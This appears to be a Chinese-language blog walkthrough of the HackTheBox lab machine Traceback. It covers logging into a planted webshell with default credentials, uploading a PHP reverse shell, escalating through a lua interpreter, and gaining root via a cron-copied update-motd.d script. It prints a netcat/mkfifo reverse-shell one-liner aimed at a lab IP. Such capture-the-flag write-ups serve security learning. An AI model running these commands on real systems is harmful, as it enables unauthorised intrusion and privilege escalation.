题目 Traceback

进入

谁放的后门?

http 访问题目地址,可以看到这里已经被人放了后门了:

image-20200729184935807

提示黑客IDXh4HGoogle一下:

image-20200729185031636

可以搜到他的github、博客和Twitter,直接进github看一下,可以看到有个项目是 Web-Shellsimage-20200729185223452

进入之后可以看到很多的 shell php,因为数量不多,直接一个个的手动试一下路径就好,最后发现有个smevk.php存在:

image-20200729185507099

使用 github 默认的账号密码 登录即可进到 shell

php reverse_shell

image-20200729185703991

登录上去之后可以看到当前shell展示的信息如下:

1
2
3
4
5
Uname    : Linux traceback 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64
User : 1000 ( webadmin ) Group: 1000 ( webadmin )
Server : Apache/2.4.29 (Ubuntu)
Useful : php, perl, tar, gzip, bzip2, nc, locate
Downloaders : wget

这里的 shell 也可以执行命令,但是操作不方便,所以利用上传功能传一个php_reverse_shell.php上去,修改其中对应的ipport,上传之后本地nc监听,浏览器访问对应上传的文件即可实现反弹shell

image-20200729190914648

提升

webadmin->sysadmin

按照之前的思路,上去先翻翻文件,可以看到 webadmin 的同级目录下还有个 sysadmin ,当前的登录用户没有权限访问,没关系,先切到webadmin 看看文件:

image-20200729191103248

先看看note.txt

image-20200729191224927

sysadmin 说放了个练习lua的工具,让我们去找。打开.bash_history看看里面的内容:

image-20200729191408336

可以看到这里是用了 luvit 去运行了一个privesc.lua文件,文件内容不知道是啥,不管文件内容,先运行这段话不指定 lua 文件试试:

image-20200729191707703

可以看到这里没有提示权限不够,而是运行 lua 的错误,所以这里就可以尝试使用 lua 来再生成一个 shell ,而这个shell的权限就是 sysadmin 了:

image-20200729195313617

sysadmin->root

sysadmin权限到对应目录下翻了一下,没有额外的信息,ps -aux 看一下当前的进程,发现 root 用户有这个操作(看了大佬的说明,这里是可以使用pspy来监控进程信息的,更直观):

1
bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/

image-20200729195726986

意思就是有个每隔 30s 就运行一次的定时任务,任务就是将备份的 .update-motd.d 文件夹下的所有内容复制到 /etc/update-motd.d/ 文件夹下,Google 之后可以知道这就是动态 motd 功能,每次用户登录之后就会执行并显示 /etc/update-motd.d/ 文件夹下面的内容,这里查看之后发现以 sysadmin 权限只能修改 /etc/update-motd.d/ 因此我们就里的提权思路就可以分为如下几步了:

  1. 写反弹shell命令到 /etc/update-motd.d/
1
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 8989 >/tmp/f' >> 00-header

这里还遇到一个问题,就是像常规的反弹shell语句无法成功,后来想起来可以服务器上是有nc的,所以可以用nc反弹shell,但是服务器上的nc没有-e参数,在这里找到了利用方法

  1. ssh公钥到服务器上

这里有2个选择了,可以写sysadmin或者写webadmin都可以

  1. 本地监听,利用ssh 私钥登录服务器 ( 2+3这两步操作动作要快,不然就可能被覆盖 )

可以把自己想要执行的命令写到 /var/backups/.update-motd.d/ 的某个文件里,然后等到复制操作完成之后发起 ssh 登录即可。

image-20200729211608522

知识点

  • 直接使用他人webshell,未修改默认密码
  • php直接reverse shell更方便操作
  • .bash_history 的作用(/etc/skel/.bash_logout 文件中添加这行rm -f $HOME/.bash_history 当用户每次注销时,.bash_history文件都会被删除. )
  • lua 加载 shell
  • update-motd.d 的利用
  • 使用 nc 反弹 shell

参考链接

https://xz.aliyun.com/t/2549#toc-7

https://ca0y1h.top/Target_drone/HackTheBox/10.HTB-Traceback-walkthrough/#HTB-Traceback-Walkthrough